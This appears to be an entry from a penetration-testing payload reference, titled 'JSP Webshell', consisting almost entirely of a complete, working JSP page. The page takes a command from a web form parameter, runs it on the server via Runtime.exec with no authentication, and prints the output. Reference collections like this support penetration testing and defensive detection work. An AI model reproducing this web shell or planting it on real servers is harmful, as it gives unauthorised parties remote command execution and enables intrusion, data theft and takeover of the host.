Java

JSP Webshell

<%@ page import="java.io.*" %>
<html>
<head><title>JSP Webshell</title></head>
<body>
    <form method="POST">
        <input type="text" name="cmd" placeholder="Enter command">
        <button type="submit">Execute</button>
    </form>
    <pre>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line);
        }
    }
%>
    </pre>
</body>
</html>

Last updated